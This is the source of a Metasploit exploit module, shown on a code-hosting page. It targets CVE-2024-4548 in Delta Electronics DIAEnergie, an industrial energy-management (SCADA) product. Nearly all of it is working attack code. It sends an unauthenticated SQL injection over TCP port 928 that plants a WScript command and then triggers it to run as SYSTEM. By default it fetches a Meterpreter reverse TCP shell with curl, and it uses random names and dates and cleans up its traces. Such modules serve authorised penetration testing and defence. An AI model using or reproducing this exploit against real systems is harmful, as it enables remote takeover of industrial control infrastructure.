Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/diaenergie_sqli.rb
Views: 11783
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::Tcp3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',10'Description' => %q{11SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.12This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.13},14'License' => MSF_LICENSE,15'Author' => [16'Michael Heinzl', # MSF exploit17'Tenable' # Discovery & PoC18],19'References' => [20[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],21[ 'CVE', '2024-4548']22],23'DisclosureDate' => '2024-05-06',24'Platform' => 'win',25'Arch' => [ ARCH_CMD ],26'Targets' => [27[28'Windows_Fetch',29{30'Arch' => [ ARCH_CMD ],31'Platform' => 'win',32'DefaultOptions' => {33'FETCH_COMMAND' => 'CURL',34'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'35},36'Type' => :win_fetch37}38]39],40'DefaultTarget' => 0,4142'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [REPEATABLE_SESSION],45'SideEffects' => [IOC_IN_LOGS]46}47)48)4950register_options(51[52Opt::RPORT(928)53]54)55end5657# Determine if the DIAEnergie version is vulnerable58def check59begin60connect61sock.put 'Who is it?'62res = sock.get || ''63rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e64vprint_error(e.message)65return Exploit::CheckCode::Unknown66ensure67disconnect68end6970if res.empty?71vprint_status('Received an empty response.')72return Exploit::CheckCode::Unknown73end7475vprint_status('Who is it response: ' + res.to_s)76version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/77version = res.match(version_pattern)7879if version[0].nil?80Exploit::CheckCode::Detected81end8283vprint_status('Version retrieved: ' + version[0])8485unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')86return CheckCode::Safe87end8889return CheckCode::Appears90end9192def exploit93execute_command(payload.encoded)94end9596def execute_command(cmd)97scname = Rex::Text.rand_text_alphanumeric(5..10).to_s98vprint_status('Using random script name: ' + scname)99100year = rand(2024..2026)101month = sprintf('%02d', rand(1..12))102day = sprintf('%02d', rand(1..29))103random_date = "#{year}-#{month}-#{day}"104vprint_status('Using random date: ' + random_date)105106hour = sprintf('%02d', rand(0..23))107minute = sprintf('%02d', rand(0..59))108second = sprintf('%02d', rand(0..59))109random_time = "#{hour}:#{minute}:#{second}"110vprint_status('Using random time: ' + random_time)111112# Inject payload113begin114print_status('Sending SQL injection...')115connect116vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")117sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"118res = sock.get119unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'120fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)121end122123vprint_status('Injection - Expected response received: ' + res.to_s)124disconnect125126# Trigger127print_status('Triggering script execution...')128connect129sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"130res = sock.get131unless res.to_s == 'Recalculate Script Start!'132fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)133end134vprint_status('Trigger - Expected response received: ' + res.to_s)135136disconnect137138print_good('Script successfully injected, check thy shell.')139ensure140# Cleanup141print_status('Cleaning up database...')142connect143sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"144res = sock.get145unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'146fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)147end148vprint_status('Cleanup - Expected response received: ' + res.to_s)149150disconnect151end152end153end154155156